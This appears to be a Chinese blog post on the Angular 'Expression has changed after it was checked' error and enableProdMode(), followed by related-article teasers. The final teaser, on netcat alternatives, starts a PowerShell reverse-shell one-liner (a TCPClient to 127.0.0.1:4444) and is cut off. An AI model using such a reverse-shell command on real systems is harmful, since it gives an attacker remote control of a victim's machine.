昨天遇到一个问题 ,用ng

Expression has changed after it was checked

  

查了一下说在angular2中,这个错误只会在dev开发模式下出现,在pro发布版本中不会出现,通过enableProdMode()可以控制 
在组件中增加这段代码可以去掉这个检查,但是不建议这么做。

import {enableProdMode} from '@angular/core';
enableProdMode();

报错原因是angular4 的一种机制吧。

在dev模式下,额外增加了一次变化检测,在第一轮变化检测周期结束后,会立即进行第二轮变化检测,对比两次检测值,如果不相同,则认为是变化检测引起的。

这个错误经常出现在组件通信时,在输入绑定中(set input,ngOnChanges等等,函数或getter等)修改了其他成员变量导致的,这类函数必须没有副作用。

这句必须添加到main.ts

此处使用该方法前一定要先 import 它,就像 platformBrowserDynamic() 方法一样。

注意,上述代码要放在 platformBrowserDynamic() 方法前使用,否则会报错:

Error: (SystemJS) Cannot enable prod mode after platform setup.
OK,现在已经知道如何切换工作模式了,现阶段还是使用开发模式吧。

  

用ngif 多次判断 Expression has changed after it was checked的更多相关文章

  1. ExpressionChangedAfterItHasBeenCheckedError: Expression has changed after it was checked.

    ExpressionChangedAfterItHasBeenCheckedError: Expression has changed after it was checked. 解决方案: 异步更新 ...

  2. angular 中*ngIf 和*ngSwitch判断语句

    <div style="text-align:center"> <h1> Welcome to {{ title }}! </h1> <p ...

  3. 拉姆达表达式 追加 条件判断 Expression<Func<T, bool>>

    public static class PredicateBuilder { /// <summary> /// 机关函数应用True时:单个AND有效,多个AND有效:单个OR无效,多个 ...

  4. [jQuery] 判断复选框checkbox是否选中checked

    返回值是true/false method 1: $("#register").click(function(){ if($("#accept").get(0) ...

  5. 初入angular4——实际项目搭建总结

    前言 接到一个pc端后台项目,还会加入两个安卓同事一起学习和做这个项目,需要带一下他们. 既ng1之后,我就没怎么有过其它后台框架的实际项目经验了,期间用的移动端框架也并非vue.angular系列. ...

  6. Angular 学习笔记 ( CDK - Accessibility )

    @angular/ckd 是 ng 对于 ui 组建的基础架构. 是由 material 团队开发与维护的, 之所以会有 cdk 看样子是因为在开发 material 的时候随便抽象一个层次出来给大家 ...

  7. 关于ExpressionChangedAfterItHasBeenCheckedError

    最近在stackoverflow上似乎每天都有一些关于angular报错‘ExpressionChangedAfterItHasBeenCheckedError’的问题.发生这些问题通常是由于angu ...

  8. angular5自适应窗口大小

    import {AfterViewInit, Directive, ElementRef, HostBinding, HostListener, Inject, Input, Renderer2} f ...

  9. Angular变更检测策略报错

    报错信息: ERROR Error: ExpressionChangedAfterItHasBeenCheckedError: Expression has changed after it was ...

随机推荐

  1. ue4网络同步概念笔记

    网络同步主要的概念是 复制.  不是以前的S,C逻辑分离.  是S复制到C通过 Switch Has Authority  将S与C的逻辑在程序内分离. 所属权:每个连接到S的C都有自己的 控制权.从 ...

  2. PHP入门知识

    一.搭建开发环境 想要使用一门后端语言,当然是要先搭建开发环境,模拟出服务器环境,不然怎么体现出后端,所以就先大众使用使用的Apache.Mysql,如果不想那么多折腾,建议直接使用xampp或者wa ...

  3. FTP之二

    username=admin password=123 ip=192.168.14.117 port=21 参考:http://blog.csdn.net/yelove1990/article/det ...

  4. day 4 - 2 数据类型练习

    1. 在字符串中数字相连的为一组,输出数字共有几组 如: 123sdf456sdf789  数字为:3组 info = input(">>>") for i in ...

  5. A - Piece of Cake Kattis - pieceofcake (数学)

    题目链接: A - Piece of Cake Kattis - pieceofcake 题目大意:给你一个多边形,然后给你这个多边形的每个点的坐标,让你从这个n个点中选出k个点,问这个k个点形成的面 ...

  6. Maven项目在更新过程停止,再更新无效-->解决

    ---类似网友问题:但我按照这样无法解决. eclipse中maven项目jar包不会自动下载解决办法 - wavemelody - 博客园http://www.cnblogs.com/mymelod ...

  7. 中国各省市县级 JSON 文件

    参考链接:https://blog.csdn.net/lzhlzz/article/details/41347929

  8. 使用PHP、MySQL实现修改密码 + 防止通过url强行进入系统

    ●使用PHP+MySQL实现修改密码 页面: index.php  登陆页面,输入默认密码登陆系统 check.php 核查页面,通过查询数据库检测密码是否正确   ——> 正确,则进入系统   ...

  9. python中的多重循环

    列表中会经常用到多重循环. if __name__=='__main__': names = ['xiaoming','wangwu','lisi'] ages = ['] for name,age ...

  10. nc替代技术方案

    powershell $client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.Get ...